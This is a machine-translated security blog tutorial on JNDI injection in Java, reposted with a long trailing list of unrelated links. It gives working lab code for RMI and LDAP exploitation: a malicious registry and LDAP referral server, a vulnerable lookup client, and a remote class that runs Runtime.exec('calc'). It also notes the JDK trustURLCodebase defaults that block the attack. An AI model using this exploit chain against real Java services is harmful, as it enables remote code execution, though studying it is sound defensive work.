JNDI injection for Java Security

nice_0e3 2020-11-11 12:15:03
jndi injection java security


Java Safety JNDI Inject

The article first :Java Safety JNDI Inject

0x00 Preface

Continue with the previous article , And then learn JNDI Inject relevant knowledge .JNDI Injection is Fastjson One of the attacks in the deserialization vulnerability .

0x01 JNDI

summary

JNDI(Java Naming and Directory Interface,Java Naming and Directory Interface ) yes SUN The company provides a standard Java Naming system interface ,JNDI Provide a unified client API, Through different provider interfaces JNDI Service provider interface (SPI) The implementation of the , The manager will JNDI API Map to a specific naming service and directory system , bring Java Applications can interact with these naming and directory services . Directory service is a natural extension of named Services .

JNDI(Java Naming and Directory Interface) It's an application designed API, Provides developers with the common ability to find and access various naming and directory services 、 Unified interface , similar JDBC It's all built on the abstraction layer . Now? JNDI Has become a J2EE One of the standards of , be-all J2EE All containers must provide a JNDI Service for .

JNDI Existing directories and services that can be accessed are :
DNS、XNam 、Novell A directory service 、LDAP(Lightweight Directory Access Protocol Lightweight Directory Access Protocol )、 CORBA Object services 、 file system 、Windows XP/2000/NT/Me/9x The registry 、RMI、DSML v1&v2、NIS.

The above is a section of Baidu wiki Description of . In a nutshell, it's like an index library , A named service connects objects to names , And you can find the corresponding object by the name they specify . From the online article to query this role is to achieve dynamic loading of database configuration files , So as to keep the database code unchanged .

JNDI structure

stay Java JDK It provides 5 A package , Provide to JNDI Function realization of , Namely :

javax.naming: It is mainly used for naming operations , It contains classes and interfaces for naming services , The package defines Context Interface and InitialContext class ;
javax.naming.directory: It is mainly used for directory operation , It defines the DirContext Interface and InitialDir- Context class ;
javax.naming.event: Request event notification in named directory server ;
javax.naming.ldap: Provide LDAP Support ;
javax.naming.spi: Allow dynamic insertion of different implementations , Provide development and implementation approaches for developers of different named directory service providers , So that the application can pass through JNDI Access to related services .

0x02 Pre knowledge

In fact, when we face some new knowledge , Individuals will go and record something new to contact , For example, the role of classes . Because in reading other big guy writing articles some in some of the pre-need knowledge to not narrate too much , You need to find it yourself . For people who have just come into contact with , I need to go through the information . Although it can be found on the Internet , But there will still be a lot of search knowledge , We need to find them one by one . So in such a way, you can record some knowledge points that need to be used in this . Easy to understand , It's also convenient for you to look through it .

InitialContext class

Construction method :

InitialContext()
Build an initial context .
InitialContext(boolean lazy)
Construct an initial context , And choose not to initialize it .
InitialContext(Hashtable<?,?> environment)
Use the provided environment to build the initial context .

Code :

InitialContext initialContext = new InitialContext();

Here JDK The explanation given here is to build the initial context , In fact, the popular point is to get the initial directory environment .

Common methods :

bind(Name name, Object obj)
Bind names to objects .
list(String name)
Enumerates the names bound in the naming context and the class names of the objects bound to them .
lookup(String name)
Retrieve named objects .
rebind(String name, Object obj)
Bind names to objects , Override any existing binding .
unbind(String name)
Unbound named objects .

Code :

package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

Reference class

This class is also in javax.naming Of a class , This class represents a pair of named / References to objects found outside the directory system . Provides JNDI Reference function of class in .

Construction method :

Reference(String className)
Name the class “className” To construct a new reference .
Reference(String className, RefAddr addr)
Name the class “className” The object and address of the object construct a new reference .
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Name the class “className” The object of , The class name and location of the object factory and the address of the object construct a new reference .
Reference(String className, String factory, String factoryLocation)
Name the class “className” Object and class name and location of object factory construct a new reference .

Code :

 String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

Parameters 1:className - The class name used when loading remotely

Parameters 2:classFactory - Loaded class The name of the instantiated class is required in

Parameters 3:classFactoryLocation - Provide classes The address of the data can be file/ftp/http agreement

Common methods :

void add(int posn, RefAddr addr)
Add address to index posn In the address list of .
void add(RefAddr addr)
Add the address to the end of the address list .
void clear()
Remove all addresses from this reference .
RefAddr get(int posn)
Index of search posn Address on .
RefAddr get(String addrType)
The search address type is “addrType” First address of .
Enumeration<RefAddr> getAll()
Search for a list of addresses in this reference .
String getClassName()
Retrieve the class name of the referenced object .
String getFactoryClassLocation()
Retrieve factory location of the object referenced by this reference .
String getFactoryClassName()
Retrieve the class name of the factory for this reference reference object .
Object remove(int posn)
Remove index from address list posn Address on .
int size()
Retrieve the number of addresses in this reference .
String toString()
Generate the string representation of this reference .

Code :

package com.rmi.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}

Here you can see that the call is finished Reference And then it called ReferenceWrapper Ahead of Reference The object is passed in , Why is that ?

Actually check Reference You can see why , Check out Reference , It didn't happen Remote The interface has no inheritance UnicastRemoteObject class , Speak in front of the RMI When I said , You need to register the class with Registry Need to achieve Remote And inheritance UnicastRemoteObject class . I don't see the relevant code here , So we need to call ReferenceWrapper Seal it up .

0x03 JNDI Injection attack

In narrating JNDI Before injection, take a look at the source code .

Code example :

package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();// Get a reference to the initial directory environment
initialContext.lookup(uri);// Gets the specified remote object
}
}

Above InitialContext.lookup(uri) Here , if URI controllable , Then the client may be attacked . The specific reasons are as follows .JNDI have access to RMI、LDAP To access the target service . In practice, we will also use JNDI Injection coordination RMI And so on .

JNDI Inject +RMI Implement the attack

Let's look at a few pieces of code , To do an analysis of the specific attack process .

RMIServer Code :

package com.rmi.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}

RMIClient Code :

package com.rmi.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

Here is a bit of code to execute the command , Mounted on web On the page let server Ask for it .

package com.rmi.jndi;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

Use javac command , Compile the class to class The file is mounted in web On the page .

The principle is to put malicious Reference class , Binding in RMI Of Registry Inside , Call... On the client side lookup Remote access to remote classes , You'll get it Reference object , Get Reference After the object , Will go to find Reference Class specified in , If it can't be found, it will be in Reference The remote address specified in the , Requests to remote classes are executed locally .

I actually failed to execute here , Because in the higher version , System attribute com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase The default value of becomes false. In the lower version, these options default to true, You can load some classes remotely .

LDAP Concept

Lightweight Directory Access Protocol ( english :Lightweight Directory Access Protocol, abbreviation :LDAP,/ˈɛldæp/) It's an open , Neutral , Industrial standard application protocol , adopt IP The protocol provides directory information for access control and maintenance of distributed information .

JNDI Inject +LDAP Implement the attack

With the previous case , Let's look at this one. It's actually quite simple , The reason JNDI Injection will cooperate with LDAP Because LDAP Service Reference Remote load Factory Class is not subject to com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase And so on .

Start a ldap service , The code was changed by some big guy from marshalsec.

package com.rmi.rmiclient;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

Write a client client .

package com.rmi.rmiclient;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}

Write a remote malicious class , And compile it into class file , place web On the page .

public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

There's a hole here , It's a malicious class , Can't include the top package Information , Otherwise, the call fails . Let's start the server side , Then start the client .

stay JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase The default value of the property is adjusted to false. You can't take advantage of this , But there will still be ways to bypass it . I'm not going to repeat it here .

Reference article

https://xz.aliyun.com/t/8214
https://xz.aliyun.com/t/6633
https://xz.aliyun.com/t/7264

Thank you for your article , A rough list of several master's articles , But not just these . If there are some mistakes in the article , I hope the masters point out that .

0x04 ending

In fact, it took a lot of time before and after this article , All kinds of pit .

版权声明
本文为[nice_0e3]所创,转载请带上原文链接,感谢

  1. 【计算机网络 12(1),尚学堂马士兵Java视频教程
  2. 【程序猿历程,史上最全的Java面试题集锦在这里
  3. 【程序猿历程(1),Javaweb视频教程百度云
  4. Notes on MySQL 45 lectures (1-7)
  5. [computer network 12 (1), Shang Xuetang Ma soldier java video tutorial
  6. The most complete collection of Java interview questions in history is here
  7. [process of program ape (1), JavaWeb video tutorial, baidu cloud
  8. Notes on MySQL 45 lectures (1-7)
  9. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  10. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  11. 精进 Spring Boot 03:Spring Boot 的配置文件和配置管理,以及用三种方式读取配置文件
  12. Refined spring boot 03: spring boot configuration files and configuration management, and reading configuration files in three ways
  13. 【递归,Java传智播客笔记
  14. [recursion, Java intelligence podcast notes
  15. [adhere to painting for 386 days] the beginning of spring of 24 solar terms
  16. K8S系列第八篇(Service、EndPoints以及高可用kubeadm部署)
  17. K8s Series Part 8 (service, endpoints and high availability kubeadm deployment)
  18. 【重识 HTML (3),350道Java面试真题分享
  19. 【重识 HTML (2),Java并发编程必会的多线程你竟然还不会
  20. 【重识 HTML (1),二本Java小菜鸟4面字节跳动被秒成渣渣
  21. [re recognize HTML (3) and share 350 real Java interview questions
  22. [re recognize HTML (2). Multithreading is a must for Java Concurrent Programming. How dare you not
  23. [re recognize HTML (1), two Java rookies' 4-sided bytes beat and become slag in seconds
  24. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  25. RPC 1: how to develop RPC framework from scratch
  26. 造轮子系列之RPC 1:如何从零开始开发RPC框架
  27. RPC 1: how to develop RPC framework from scratch
  28. 一次性捋清楚吧,对乱糟糟的,Spring事务扩展机制
  29. 一文彻底弄懂如何选择抽象类还是接口,连续四年百度Java岗必问面试题
  30. Redis常用命令
  31. 一双拖鞋引发的血案,狂神说Java系列笔记
  32. 一、mysql基础安装
  33. 一位程序员的独白:尽管我一生坎坷,Java框架面试基础
  34. Clear it all at once. For the messy, spring transaction extension mechanism
  35. A thorough understanding of how to choose abstract classes or interfaces, baidu Java post must ask interview questions for four consecutive years
  36. Redis common commands
  37. A pair of slippers triggered the murder, crazy God said java series notes
  38. 1、 MySQL basic installation
  39. Monologue of a programmer: despite my ups and downs in my life, Java framework is the foundation of interview
  40. 【大厂面试】三面三问Spring循环依赖,请一定要把这篇看完(建议收藏)
  41. 一线互联网企业中,springboot入门项目
  42. 一篇文带你入门SSM框架Spring开发,帮你快速拿Offer
  43. 【面试资料】Java全集、微服务、大数据、数据结构与算法、机器学习知识最全总结,283页pdf
  44. 【leetcode刷题】24.数组中重复的数字——Java版
  45. 【leetcode刷题】23.对称二叉树——Java版
  46. 【leetcode刷题】22.二叉树的中序遍历——Java版
  47. 【leetcode刷题】21.三数之和——Java版
  48. 【leetcode刷题】20.最长回文子串——Java版
  49. 【leetcode刷题】19.回文链表——Java版
  50. 【leetcode刷题】18.反转链表——Java版
  51. 【leetcode刷题】17.相交链表——Java&python版
  52. 【leetcode刷题】16.环形链表——Java版
  53. 【leetcode刷题】15.汉明距离——Java版
  54. 【leetcode刷题】14.找到所有数组中消失的数字——Java版
  55. 【leetcode刷题】13.比特位计数——Java版
  56. oracle控制用户权限命令
  57. 三年Java开发,继阿里,鲁班二期Java架构师
  58. Oracle必须要启动的服务
  59. 万字长文!深入剖析HashMap,Java基础笔试题大全带答案
  60. 一问Kafka就心慌?我却凭着这份,图灵学院vip课程百度云